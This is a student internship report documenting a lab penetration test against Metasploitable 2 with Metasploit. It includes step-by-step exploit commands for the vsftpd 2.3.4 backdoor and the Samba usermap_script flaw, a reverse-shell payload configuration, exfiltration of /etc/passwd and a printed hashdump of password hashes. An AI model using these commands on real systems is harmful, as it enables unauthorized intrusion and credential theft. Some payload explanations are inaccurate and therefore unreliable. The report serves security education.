METASPLOIT-BASED VULNERABILITY EXPLOITATION

BACHELOR OF TECHNOLOGY
IN
COMPUTER SCIENCE AND ENGINEERING

By
Biswanath S 2023003650
J.V Srihaas 2023002289

DEPARTMENT OF COMPUTER SCIENCE AND ENGINEERING

GITAM School of Technology

GITAM (Deemed to be University)
Hyderabad-502329
 DECLARATION
I hereby submit this internship project titled "Metasploit-Based Vulnerability Exploitation" to
GITAM (Deemed To Be University), Hyderabad in partial fulfilment of the requirements for the
award of the degree of "Bachelor of Technology" in "Computer Science and Engineering". I
declare that it was carried out independently by me under the guidance of Dr. Arshad
mohammed, Associate Professor, GITAM (Deemed To Be University), Hyderabad, India.

The results presented in this report have not been submitted to any other University or Institute
for the award of any degree or diploma.

Place: HYDERABAD

Name: J.V Srihaas

Pin: 2023002289

Name: S Biswanath

Pin: 2023003650
 ACKNOWLEDGEMENT
Apart from my effort, the success of this internship largely depends on the encouragement and
guidance of many others. I take this opportunity to express my gratitude to the people who have
helped me in the successful completion of this internship.

I would like to thank Dr. Mahaboob Basha Shaik, Head of Computer Science and Engineering,
for giving me such a wonderful opportunity to expand my knowledge in my own branch and for
providing the guidelines to present an internship report. It helped me a lot to realise what we
study for.

I would like to thank the respected faculty Dr. Arshad Mohammad who helped me to make this
internship a successful accomplishment.

I would also like to thank my friends who helped me to make my work more organised and
well-structured till the end.

J.V Srihaas

2023002289

S Biswanath

2023003650
 TABLE OF CONTENTS

1. Abstract
2. Introduction
3. Background / Problem Statement
4. Objectives
5. Tools & Technologies Used
6. Methodology
7. Case Study Execution
8. Results & Observations
9. Challenges Faced
10. Learning Outcomes
11. Conclusion
12. References
1. ABSTRACT
This case study documents a comprehensive, structured penetration testing engagement
conducted within a simulated corporate environment during a cybersecurity internship. The
primary focus was the systematic deployment of the Metasploit Framework to identify and
leverage critical security weaknesses on Metasploitable 2, a deliberately vulnerable target
machine hosted within an isolated, host-only VirtualBox lab.
The technical scope of this exercise encompassed the entire penetration testing lifecycle,
beginning with passive and active reconnaissance to establish network baselines, followed by
service-level enumeration using Nmap to fingerprint open ports and outdated daemon versions.

The exploitation phase specifically targeted two distinct classes of high-impact vulnerabilities:

 CVE-2011-2523: A malicious supply-chain backdoor in the VSFTPd 2.3.4 service.

 CVE-2007-2447: A remote command injection flaw within the Samba MS-RPC
username map script functionality.

Successful exploitation of these vectors provided immediate, unauthorized root-level

administrative access, which was further leveraged through the deployment of Meterpreter
payloads. Post-exploitation analysis involved credential harvesting via automated hash
dumping, sensitive file system exfiltration, and privilege verification to simulate a real-world
data breach scenario.
The results of this study underscore the persistent threat posed by unpatched legacy software and
the critical necessity for mature patch management and network segmentation strategies within
modern organizational infrastructures. This report provides a detailed repository of the
commands, logic, and challenges encountered, offering a practical blueprint for ethical hacking
workflows and defensive security posture assessment.
2. INTRODUCTION
Cybersecurity is no longer a niche concern — it has become a foundational requirement for
every organization that operates digitally. With the rapid expansion of networked infrastructure
and cloud-based services, the attack surface available to malicious actors has grown
significantly. Understanding how attackers think and operate is essential for building systems
that can actually defend against them.
Penetration testing, commonly referred to as "pen testing," is the practice of authorized
simulation of real-world attacks on a system to identify security weaknesses before malicious
actors can exploit them. It is a critical component of any organization's security posture, and
professionals trained in offensive security are in high demand globally.
During my internship at CyberSec Labs Pvt. Ltd., I was assigned to the offensive security team
to gain hands-on experience with penetration testing methodologies. This case study is the result
of one of those assignments: performing a full exploitation workflow against a deliberately
vulnerable virtual machine using the Metasploit Framework — one of the most widely used
exploitation tools in the industry.
The entire exercise was conducted in a sandboxed VirtualBox lab environment. No external
systems or real production networks were involved at any point. All activities were explicitly
authorized by the internship supervisors under a structured learning agreement.
3. BACKGROUND / PROBLEM STATEMENT
Many organizations discover vulnerabilities in their systems too late — after they have already
been exploited. A 2023 report by IBM Security noted that the average time to identify a breach
in an organization is still above 200 days. One of the primary reasons behind this is that security
teams often do not fully understand how their exposed services look from an attacker's
perspective.
The problem this case study addresses is practical: given a network environment with multiple
running services, how does an attacker systematically identify exploitable vulnerabilities and
leverage them to gain unauthorized access? And from the defender's side — what do these
attacks look like, and how can they be detected or prevented?
Metasploitable 2 was chosen as the target for this exercise because it intentionally ships with a
wide range of outdated, misconfigured, and vulnerable services. These include unpatched
versions of FTP servers, Samba, IRC daemons, web applications, and more — all of which
represent the kinds of vulnerabilities that appear regularly in enterprise environments that have
poor patch management practices.
Key insight: Many exploited vulnerabilities in real environments are not zero-days — they are
known, documented, and patched vulnerabilities running on systems that were never updated.
This exercise demonstrates exactly that.
The Metasploit Framework provides a structured, modular approach to exploitation. It maintains
a database of known exploits (modules), payloads, encoders, and auxiliary tools that can be
composed together to perform complex attack sequences. For an intern learning offensive
security, Metasploit offers a practical introduction to how professional pen testers operate,
without requiring deep manual exploit coding from scratch.
4. OBJECTIVES
The following objectives were defined at the beginning of this exercise in consultation with the
internship supervisor:
• To set up an isolated virtual lab environment with a Kali Linux attacker machine and a
Metasploitable 2 target machine using VirtualBox.
• To perform systematic network scanning and service enumeration on the target using
Nmap and Metasploit's built-in auxiliary modules.
• To identify actively exploitable vulnerabilities based on discovered services and their
version information.
• To execute targeted exploitation using relevant Metasploit modules against identified
vulnerabilities (specifically VSFTPd 2.3.4 and Samba MS-RPC).
• To establish and interact with post-exploitation sessions using Meterpreter,
demonstrating real-world attacker capabilities.
• To document the full exploitation chain — from recon to post-exploitation — in a
structured, reproducible format.
• To draw practical security observations and mitigation recommendations from the
exercise.
5. TOOLS & TECHNOLOGIES USED
The following tools and technologies were used throughout this case study. All tools were used
within a closed virtual environment for educational purposes.

Tool / Technology Version / Details Purpose

Kali Linux 2023.4 (64-bit) Attacker machine OS
Metasploit Framework 6.3.x Exploitation framework
msfconsole Built-in CLI Primary Metasploit interface
Nmap 7.94 Network & port scanning
Metasploitable 2 Ubuntu 8.04 base Intentionally vulnerable
target
VirtualBox 7.0 Isolated lab environment
Wireshark 4.0.x Packet analysis / verification
db_nmap / PostgreSQL Built-in Storing scan results in MSF
DB

The attacker machine (Kali Linux) and the target (Metasploitable 2) were connected via a
VirtualBox host-only network adapter ([Link]/24 subnet) with no external internet
routing. This ensured complete isolation from any real network.
6. METHODOLOGY
The penetration testing methodology followed in this exercise is based on the standard five-
phase model used in real-world engagements: Reconnaissance, Scanning & Enumeration,
Exploitation, Post-Exploitation, and Reporting. Below is a brief overview of each phase as
applied in this study.

Phase 1: Reconnaissance
Reconnaissance involved identifying the target's IP address on the host-only network and
confirming basic connectivity. Since this was an isolated lab, passive reconnaissance (OSINT)
was not applicable. Instead, a simple ping sweep was used to confirm the target was live.

Phase 2: Scanning and Enumeration

Nmap was used to perform a comprehensive port scan, identifying open ports, running services,
and their version information. The results were then imported into the Metasploit database for
structured analysis. Version details are critical at this stage because they directly determine
which exploit modules can be applied.

Phase 3: Exploitation
Based on the service version information discovered in Phase 2, specific Metasploit exploit
modules were selected. Two exploits were executed during this exercise: one targeting the
VSFTPd 2.3.4 backdoor and another targeting the Samba username map script vulnerability.
Both resulted in successful remote shell sessions.

Phase 4: Post-Exploitation
After establishing a Meterpreter session on the target, basic post-exploitation tasks were
performed: privilege verification, system information gathering, file system browsing, and hash
dumping. This phase demonstrates what an attacker could do after gaining access and is critical
for risk assessment in real engagements.

Phase 5: Documentation and Reporting

All findings, commands, outputs, and observations were documented during and after the
exercise. Screenshots were captured at each phase. This case study serves as the formal report
for this exercise.
7. CASE STUDY EXECUTION
This section documents the actual execution of the penetration test, including the exact
commands run, their outputs, and observations at each step.

Step 1: Setting Up the Lab Environment

Both virtual machines were created in VirtualBox. Kali Linux was configured with 4 GB RAM
and a host-only network adapter. Metasploitable 2 was similarly configured with 1 GB RAM on
the same host-only adapter. After booting both machines, IP addresses were noted:
Kali Linux (Attacker) : [Link]
Metasploitable 2 (Target) : [Link]

Connectivity was verified using a basic ping from the Kali machine:
$ ping -c 3 [Link]
PING [Link]: 56 data bytes
64 bytes from [Link]: icmp_seq=0 ttl=64 time=0.412 ms
64 bytes from [Link]: icmp_seq=1 ttl=64 time=0.388 ms
3 packets transmitted, 3 received, 0% packet loss

Metasploit's database was also initialized before launching msfconsole to enable persistent result
storage:
$ sudo systemctl start postgresql
$ msfdb init
$ msfconsole

Step 2: Network Scanning with Nmap

A full TCP SYN scan with version detection and OS fingerprinting was performed on the target.
The -sV flag retrieves service version information, which is essential for identifying matching
exploit modules.
$ nmap -sV -sC -O -p- [Link] -oN metasploitable_scan.txt

An abbreviated version of the scan output is shown below:

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
80/tcp open http Apache httpd 2.2.8
139/tcp open netbios-ssn Samba smbd 3.X - 4.X
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian
3306/tcp open mysql MySQL 5.0.51a-3ubuntu5
5900/tcp open vnc VNC (protocol 3.3)
6667/tcp open irc UnrealIRCd
8180/tcp open http Apache Tomcat/Coyote JSP
Observation: The scan identified vsftpd 2.3.4 on port 21 and Samba 3.0.20 on port 445. Both
versions are known to have critical vulnerabilities with public exploits available in Metasploit.
This is a realistic finding — unpatched service versions remain one of the most common entry
points in actual penetration tests.
The scan results were also imported into the Metasploit database using db_nmap for structured
querying:
msf6 > db_nmap -sV -sC [Link]
msf6 > hosts
msf6 > services

Step 3: Exploiting VSFTPd 2.3.4 Backdoor (CVE-2011-2523)

VSFTPd version 2.3.4 contains a well-documented backdoor that was maliciously introduced
into the source code in 2011. When a username containing a smiley face sequence ":)" is sent
during the login process, the server opens a bind shell on port 6200. This gives the attacker
direct command execution on the target as root.
The corresponding Metasploit module is unix/ftp/vsftpd_234_backdoor. It was loaded and
configured as follows:
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(vsftpd_234_backdoor) > set RHOSTS [Link]
RHOSTS => [Link]
msf6 exploit(vsftpd_234_backdoor) > set PAYLOAD cmd/unix/interact
PAYLOAD => cmd/unix/interact
msf6 exploit(vsftpd_234_backdoor) > run

Initial execution of the module returned a failed connection message on the first attempt. The
session did not open as expected. After checking with the supervisor, it was noted that this can
happen if the FTP port had received prior connection attempts and the backdoor trigger was not
fully reset. Re-running the module after a brief pause resolved the issue:
[*] [Link]:21 - Banner: 220 (vsFTPd 2.3.4)
[*] [Link]:21 - USER: 331 Please specify the password.
[+] [Link]:21 - Backdoor service has been spawned, handling...
[+] [Link]:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened ([Link]:38271 ->
[Link]:6200)
id
uid=0(root) gid=0(root) groups=0(root)
hostname
metasploitable
Observation: The "uid=0(root)" output confirms that the backdoor gives immediate root-level
access without any privilege escalation required. In a real environment, this would be a critical
severity finding.

Step 4: Exploiting Samba via MS-RPC (CVE-2007-2447)

The Samba service running on port 445 was version 3.0.20, which is vulnerable to a command
injection flaw in the MS-RPC functionality. The vulnerability allows an attacker to pass shell
metacharacters in the username field during authentication, which the server executes as OS
commands. The Metasploit module for this is multi/samba/usermap_script.
This time, a Meterpreter payload was used instead of a plain command shell, which offers
significantly more capability for post-exploitation:
msf6 > use exploit/multi/samba/usermap_script
msf6 exploit(usermap_script) > set RHOSTS [Link]
RHOSTS => [Link]
 msf6 exploit(usermap_script) > set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse
msf6 exploit(usermap_script) > set LHOST [Link]
LHOST => [Link]
msf6 exploit(usermap_script) > run
[*] Started reverse TCP double handler on [Link]:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command shell session 2 opened
id
uid=0(root) gid=0(root) groups=0(root)

Step 5: Post-Exploitation with Meterpreter

A second exploitation attempt using the Samba module was repeated with a Meterpreter payload
(linux/x86/meterpreter/reverse_tcp) to explore post-exploitation capabilities. Once the
Meterpreter session was established, the following actions were performed:
System Information:
meterpreter > sysinfo
Computer : metasploitable
OS : Linux metasploitable 2.6.24-16-server #1 SMP
Architecture : i686
Meterpreter : x86/linux

File System Exploration:

meterpreter > pwd
/
meterpreter > ls /etc/passwd
100644/rw-r--r-- 1811 fil 2012-05-20 18:01:30 +0000 /etc/passwd
meterpreter > download /etc/passwd /home/kali/loot/[Link]
[*] Downloading: /etc/passwd -> /home/kali/loot/[Link]
[*] Downloaded 1.77 KiB in 1 second

Hash Dumping:
meterpreter > run post/linux/gather/hashdump
[+] Unshadowed Password File:
/root/.msf4/loot/20240618143022_default...
[*] root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid0:0:0:root:/root:/bin/bash
[*] msfadmin:$1$XN10Zj2c$Rt/SnE9.873MjnkvCRt9h.:1000:1000:...
Observation: The hashdump module extracted password hashes from /etc/shadow — the fact that
this was accessible confirms root-level access was maintained throughout the session. In a real
engagement, these hashes would be submitted for offline cracking using tools like Hashcat.
8. RESULTS & OBSERVATIONS
The exercise successfully demonstrated two independent exploitation paths on the target
machine, both resulting in root-level access. Below is a summary of the results:
• VSFTPd 2.3.4 Backdoor (CVE-2011-2523): Exploitation successful via Metasploit
module unix/ftp/vsftpd_234_backdoor. Immediate root shell obtained. Exploit required a
second attempt due to port state, which is a known behavior of this particular module.
• Samba MS-RPC (CVE-2007-2447): Exploitation successful via
multi/samba/usermap_script. Root-level command shell and subsequent Meterpreter
session established. Full post-exploitation access demonstrated.
• Post-exploitation actions including sysinfo retrieval, file download, password hash
extraction, and file system browsing were all successful with no additional privilege
escalation needed — as the initial access was already root.
• Multiple other vulnerable services (UnrealIRCd on port 6667, Apache Tomcat on 8180,
MySQL on 3306) were identified but not exploited in this exercise, as the scope was
limited to the two primary objectives.
From a security analysis perspective, the findings reinforce a critical truth: unpatched, legacy
software running on live servers — even in internal networks — represents an extremely high
risk. Both exploited vulnerabilities were over a decade old at the time of this exercise, yet they
exist in real environments where patch management is neglected.
9. CHALLENGES FACED
No penetration testing exercise goes exactly according to plan, and this engagement provided
several critical technical hurdles that required systematic troubleshooting and a deeper
understanding of exploit mechanics.

9.1. Persistence and Race Conditions in Service Exploitation (VSFTPd)

The initial execution of the VSFTPd 2.3.4 backdoor module resulted in a successful connection
to the target port (21), yet it failed to establish a command shell session. After a deep dive into
the Metasploit documentation and manual verification, it was discovered that the backdoor
trigger mechanism—which spawns a listener on port 6200—often suffers from a race condition
or a "half-open" state if previous connection attempts were interrupted.
 Resolution: A brief cooldown period was implemented to allow the target's network
stack to clear the socket.
 Outcome: This taught the importance of independent port-state verification (using netstat
or nmap on port 6200) rather than relying solely on automated module output.

9.2. Payload Compatibility and Staging Logic

A significant challenge arose while attempting to pair a staged Meterpreter payload
(linux/x86/meterpreter/reverse_tcp) with the VSFTPd exploit. The session would die
immediately after the second stage was sent.
 Technical Insight: Through empirical testing, it was determined that the VSFTPd
backdoor is designed to interact with a basic stageless shell (cmd/unix/interact) rather
than the more complex reflective DLL injection required by staged payloads.
 Outcome: This reinforced the critical distinction between staged payloads (which send
the exploit in parts to stay under memory constraints) and stageless payloads (which send
the entire exploit at once), as well as the need to verify module-to-payload compatibility
strings.

9.3. PostgreSQL Database Synchronization and Workspace Persistence

The msfconsole occasionally launched in a "disconnected" state from the back-end PostgreSQL
database. This was problematic as it prevented the db_nmap results from being stored in the
workspace, forcing repetitive scans.
 Resolution: The issue was diagnosed as a service-start order conflict where msfconsole
attempted to initialize before the postgresql service was fully active.
 Outcome: The fix involved a manual restart of the database service (sudo systemctl
restart postgresql) and a msfdb init check, emphasizing the importance of a persistent
database for structured result management in multi-host engagements.
9.4. Networking Logic and LHOST Configuration Errors
During the Samba (MS-RPC) exploitation, multiple reverse shell attempts failed because the
session would open on the target but never connect back to the attacker machine.
 The Error: The LHOST (Local Host) parameter had been mistakenly set to the loopback
address ([Link]) instead of the Kali machine’s specific IP on the VirtualBox host-only
interface.
 Resolution: By re-configuring the module to point to the correct network adapter IP
([Link]), the reverse connection was successfully routed.
 Outcome: This provided a fundamental lesson on the TCP/IP handshake in reverse shells
and the necessity of ensuring the target can route traffic back to the attacker’s specific
interface across segmented networks.
10. LEARNING OUTCOMES
This exercise was one of the most practically informative parts of my internship. The learning
was not just about Metasploit — it covered a much broader set of concepts:
• Penetration Testing Lifecycle: I now have a concrete understanding of how each phase of
a pen test flows into the next — from scanning to enumeration to exploitation to post-
exploitation. It is not a linear button-click process; it requires constant decision-making
and adjustment.
• Metasploit Architecture: I learned how Metasploit organizes its modules (exploits,
payloads, auxiliaries, post-exploitation), how to search and filter them, and how to
configure options correctly. Understanding the difference between bind and reverse
shells, and between staged and stageless payloads, is now clear to me at a practical level.
• CVE Research: Looking up the CVEs behind each exploit helped me understand what
the vulnerability actually is — not just that it works, but why it works. The VSFTPd
backdoor is a supply chain attack on a package, and the Samba flaw is a shell injection
due to improper input sanitization. Both are different classes of vulnerabilities requiring
different defensive approaches.
• Network Segmentation Matters: The fact that two critical systems could communicate
directly on a flat network, with no firewall rules in between, was a significant
observation. In a real environment, FTP and Samba services would ideally not be
reachable from unauthorized segments of the network.
• Responsible Disclosure and Ethics: This exercise reinforced why penetration testing
must always be performed in a controlled environment with explicit authorization. The
capabilities demonstrated in this lab could cause serious damage if applied to real
systems without permission.
11. CONCLUSION
This case study successfully demonstrates a complete, end-to-end penetration testing workflow
using the Metasploit Framework against a deliberately vulnerable target machine. Starting from
network discovery and service enumeration with Nmap, progressing through targeted
exploitation of known CVEs, and concluding with post-exploitation actions using Meterpreter
— every phase of the exercise provided practical insights that would be difficult to gain from
reading alone.
The two vulnerabilities exploited — VSFTPd 2.3.4 backdoor and Samba 3.0.20 MS-RPC
injection — are both well-documented, entirely preventable issues. Their presence in
Metasploitable 2 mirrors the kinds of findings that pen testers regularly encounter in real
engagements with organizations that lack a mature patch management process. The lesson is
clear: outdated software is low-hanging fruit for attackers, and keeping systems updated is one
of the most high-impact security controls available.
From a personal standpoint, this exercise significantly elevated my understanding of offensive
security practices. Working with Metasploit in a real lab setting — dealing with failed attempts,
troubleshooting session issues, and interpreting module output — gave me a depth of
understanding that no classroom exercise could replicate. I am now far more confident in
reading CVE advisories, reasoning about network services from an attacker's perspective, and
understanding what security teams need to detect and prevent such attacks.
This internship assignment has been an excellent foundation for further study in penetration
testing and I look forward to expanding this work into areas such as web application
exploitation, Active Directory attacks, and custom payload development in future learning.
12. REFERENCES
[1] Metasploit Unleashed — Free Offensive Security Course. Offensive Security Ltd.
[Link]
[2] CVE-2011-2523: vsftpd 2.3.4 Backdoor Command Execution. NVD — National
Vulnerability Database. [Link]
[3] CVE-2007-2447: Samba MS-RPC Remote Shell Command Injection. NVD — National
Vulnerability Database. [Link]
[4] Metasploitable 2 Exploitability Guide. Rapid7.
[Link]
[5] Kennedy, D., O'Gorman, J., Kearns, D., & Aharoni, M. (2011). Metasploit: The Penetration
Tester's Guide. No Starch Press.
[6] Nmap Network Scanning — Official Nmap Documentation. Gordon Lyon.
[Link]
[7] OWASP Testing Guide v4.2 — Vulnerability Assessment and Exploitation. OWASP
Foundation. [Link]
[8] Penetration Testing: A Hands-On Introduction to Hacking. Georgia Weidman. No Starch
Press, 2014.